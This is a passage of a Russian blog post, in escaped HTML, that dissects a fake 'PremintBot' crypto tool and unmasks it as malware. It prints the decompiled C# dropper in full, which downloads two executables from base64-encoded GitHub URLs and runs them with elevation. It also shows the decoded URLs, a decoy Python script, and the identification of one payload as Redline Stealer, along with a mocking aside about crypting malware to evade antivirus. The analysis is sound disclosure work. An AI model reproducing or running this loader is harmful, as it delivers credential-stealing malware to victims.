    &lt;img src=&quot;https://img2.teletype.in/files/9b/66/9b66c691-a8eb-427d-a37f-e01b72d7f0c7.png&quot; width=&quot;1775&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nelA&quot;&gt;Пытаемся декомпилировать файл PremintBot.exe, и огорчаемся ведь к сожалению он собран не Pyinstaller и не py2exe, спустя какое-то время понимаем что это C# и декомпилируем. Получаем файл с подобным содержимым:&lt;/p&gt;
  &lt;blockquote id=&quot;gy05&quot;&gt;Примечание: Компиляция - процесс сбора из исходников в exe.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;LTB4&quot;&gt;Примечание: Декомпиляция - обратный процесс компиляции. Получение исходников из exe файла. &lt;/blockquote&gt;
  &lt;pre id=&quot;jLGZ&quot;&gt;using System;using System.Diagnostics;using System.IO;using System.Net;using System.Security.Principal;using System.Text;

namespace UBkvxG
{
	internal static class Program
	{
		private static void Main()
		{
			ServicePointManager.set_SecurityProtocol((SecurityProtocolType)240);
			try {
				ServicePointManager.set_SecurityProtocol((SecurityProtocolType)4080);
			}
			catch {}
			try{
				string @string = Encoding.Default.GetString(Convert.FromBase64String(&amp;quot;aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vU2FuZEJveEFjY291bnRzLmV4ZQ==&amp;quot;));
				string text = Encoding.Default.GetString(Convert.FromBase64String(&amp;quot;e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl&amp;quot;)).Replace(&amp;quot;{USERNAME}&amp;quot;, Environment.UserName).Replace(&amp;quot;{SYSTEMDRIVE}&amp;quot;, Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace(&amp;quot;\\&amp;quot;, &amp;quot;&amp;quot;));
				try{
					if (File.Exists(text)){
						File.Delete(text);
					}
				}
				catch{}
				new WebClient().DownloadFile(@string, text);
			}
			catch{}
			try{
				string text2 = Encoding.Default.GetString(Convert.FromBase64String(&amp;quot;e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl&amp;quot;)).Replace(&amp;quot;{USERNAME}&amp;quot;, Environment.UserName).Replace(&amp;quot;{SYSTEMDRIVE}&amp;quot;, Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace(&amp;quot;\\&amp;quot;, &amp;quot;&amp;quot;));
				if (File.Exists(text2)){
					ProcessStartInfo val = new ProcessStartInfo();
					val.set_FileName(text2);
					val.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? &amp;quot;runas&amp;quot; : &amp;quot;&amp;quot;);
					Process.Start(val);}
			}
			catch{}
			try{
				string string2 = Encoding.Default.GetString(Convert.FromBase64String(&amp;quot;aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vdXBkYm90LmV4ZQ==&amp;quot;));
				string text3 = Encoding.Default.GetString(Convert.FromBase64String(&amp;quot;e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl&amp;quot;)).Replace(&amp;quot;{USERNAME}&amp;quot;, Environment.UserName).Replace(&amp;quot;{SYSTEMDRIVE}&amp;quot;, Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace(&amp;quot;\\&amp;quot;, &amp;quot;&amp;quot;));
				try
				{
					if (File.Exists(text3))
					{
						File.Delete(text3);
					}
				}
				catch{}
				new WebClient().DownloadFile(string2, text3);}
			catch{}
			try{
				string text4 = Encoding.Default.GetString(Convert.FromBase64String(&amp;quot;e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl&amp;quot;)).Replace(&amp;quot;{USERNAME}&amp;quot;, Environment.UserName).Replace(&amp;quot;{SYSTEMDRIVE}&amp;quot;, Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace(&amp;quot;\\&amp;quot;, &amp;quot;&amp;quot;));
				if (File.Exists(text4)){
					ProcessStartInfo val2 = new ProcessStartInfo();
					val2.set_FileName(text4);
					val2.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? &amp;quot;runas&amp;quot; : &amp;quot;&amp;quot;);
					Process.Start(val2);}
				}
			catch{
			}
		}
	}
}
&lt;/pre&gt;
  &lt;p id=&quot;zAKh&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;l2UA&quot;&gt;Декодируем переменные через base64 online decoder и получаем такие значения:&lt;/p&gt;
  &lt;pre id=&quot;crmP&quot;&gt;@string = https://github.com/Cr3ap3r/Product-Red/raw/main/SandBoxAccounts.exe
text и text2 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/SandBoxAccounts.exe
string2 = https://github.com/Cr3ap3r/Product-Red/raw/main/updbot.exe
text3 и text4 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/updbot.exe&lt;/pre&gt;
  &lt;p id=&quot;zXJx&quot;&gt;Собственно это и есть тот самый момент когда подгружаются и кладутся файлы  &lt;code&gt;updbot.exe&lt;/code&gt; и &lt;code&gt;SandBoxAccounts.exe&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;D40Y&quot;&gt;Дальше смотрим на 2 файла:&lt;/p&gt;
  &lt;p id=&quot;4Ey2&quot;&gt;&lt;code&gt;SandBoxAccounts.exe&lt;/code&gt; - собран PyInstaller&lt;/p&gt;
  &lt;p id=&quot;CSlB&quot;&gt;&lt;code&gt;updbot.exe&lt;/code&gt; - собран через C &lt;/p&gt;
  &lt;blockquote id=&quot;VCCX&quot;&gt;C декомпилировать нельзя, только дисассемблить, так что сначала посмотрим на &lt;code&gt;SandBoxAccounts.exe&lt;/code&gt;&lt;/blockquote&gt;
  &lt;blockquote id=&quot;ygbt&quot;&gt;Примечание: Дизассемблить - это процесс реверса кода до ассемблера.&lt;/blockquote&gt;
  &lt;p id=&quot;o9Hz&quot;&gt;Однако чуть позже понимаем что он скомпилирован с python 3.10, следовательно декомпилируется uncompyle6-ом. Приходится делать это ручками. После некоторых попыток получаем код подобный этому:&lt;/p&gt;
  &lt;pre id=&quot;MoyV&quot;&gt;import threading
import requests
from urllib.parse import quote
from fake_useragent import UserAgent
from json import loads
from random import choice, randint
from base64 import b64encode
from loguru import logger
from sys import stderr
from urllib3 import disable_warnings
from time import sleep
from msvcrt import getch
from os import system
from colorama import init, Fore, Back, Style
import time
import random
init()
print(&amp;#x27;=============\nВведите данные от электронных почт в файл DataAccounts.txt\nВ формате: name@gmail.com:parol&amp;#x60;\n=============&amp;#x27;&amp;#x27;)
print(&amp;#x27;Если вы ввели все данные, нажмите 1, если нет, то 0:&amp;#x27;)
i = int(input(&amp;#x27;&amp;#x27;))
if i == 1:
    x = random.randint(5, 12)
    sleep(x)
    my_file = open(&amp;#x27;SandBoxAccountsData.txt&amp;#x27;, &amp;#x27;w+&amp;#x27;)
    print(&amp;#x27;Аккаунты успешно зарегестрированны&amp;#x27;)
    my_file.write(&amp;#x27;Error. Неверные данные от почт&amp;#x27;)
    return None&lt;/pre&gt;
  &lt;blockquote id=&quot;MhDm&quot;&gt;То есть никакие в помине аккаунты не регистрируются ;) &lt;/blockquote&gt;
  &lt;figure id=&quot;y6yl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5f/e8/5fe8deba-705f-4929-9e9a-3770bf2c0493.png&quot; width=&quot;814&quot; /&gt;
    &lt;figcaption&gt;А это кстати все файлы собранные в EXE. Большая часть была обфусцирована.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Ifmx&quot;&gt;К сожалению updbot.exe декомпилировать нельзя, так как код написан на C, однако можно с легкостью более-менее понять что он делает.&lt;/p&gt;
  &lt;p id=&quot;OJWb&quot;&gt;Смотрим специализированным софтом и вот что получаем:&lt;/p&gt;
  &lt;figure id=&quot;eSl8&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4c/85/4c8505ee-dce1-4a7f-a703-7fd12380724f.png&quot; width=&quot;493&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;v8bj&quot;&gt;Да-да, семейство Redline :) Такие стиллеры продаются за +- 100$ на форумах.&lt;/p&gt;
  &lt;blockquote id=&quot;esjY&quot;&gt;Примечание: Redline Stealer - это вредоносная программа, которая собирает информацию из браузеров, такую как сохраненные учетные данные, данные автозаполнения и данные кредитной карты. Помимо этого еще из криптокошельков, FTP, VPN и IM клиентов.&lt;/blockquote&gt;
  &lt;h2 id=&quot;7Edr&quot;&gt;Итоги&lt;/h2&gt;
  &lt;figure id=&quot;U8Xn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8b/9a/8b9aaac9-8b9a-4d8c-babb-848adb5e73b8.png&quot; width=&quot;420&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;XS3D&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/62/56/6256e86d-db6e-4846-893e-608c74fa9304.png&quot; width=&quot;395&quot; /&gt;
    &lt;figcaption&gt;Иронично: его сообщения во время минта Bubblegoose несколько месяцев назад.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9BLi&quot;&gt;Халявный блин! В следующий раз когда будешь скамить покупай ручной крипт чтобы не детектили антивирусы. И не бери малварь от мамкиных кодеров с лолза :)&lt;/p&gt;
  &lt;blockquote id=&quot;BaRF&quot;&gt;Примечание: Ручной крипт - это когда делают так, чтобы Малварь не детектилась антивирусами. &lt;/blockquote&gt;
  &lt;blockquote id=&quot;091A&quot;&gt;Примечание: Lolz.guru - школофорум.&lt;/blockquote&gt;
  &lt;p id=&quot;aATZ&quot;&gt;И да, через какое-то время он наверняка вернется и начнет рассказывать что-то типа что &amp;quot;его взломали&amp;quot;, однако если бы это действительно было так, то он бы сразу же вышел на связь.&lt;/p&gt;
  &lt;p id=&quot;PbKe&quot;&gt;Мой Telegram канал где &lt;strong&gt;вас не кинут &lt;/strong&gt;&amp;gt; &lt;a href=&quot;https://t.me/crypto_satana&quot; target=&quot;_blank&quot;&gt;https://t.me/crypto_satana&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;covD&quot;&gt;Связаться по улучшению статьи &amp;gt; &lt;a href=&quot;https://t.me/scissor_eth&quot; target=&quot;_blank&quot;&gt;https://t.me/scissor_eth&lt;/a&gt;&lt;/p&gt;

</content></entry></feed>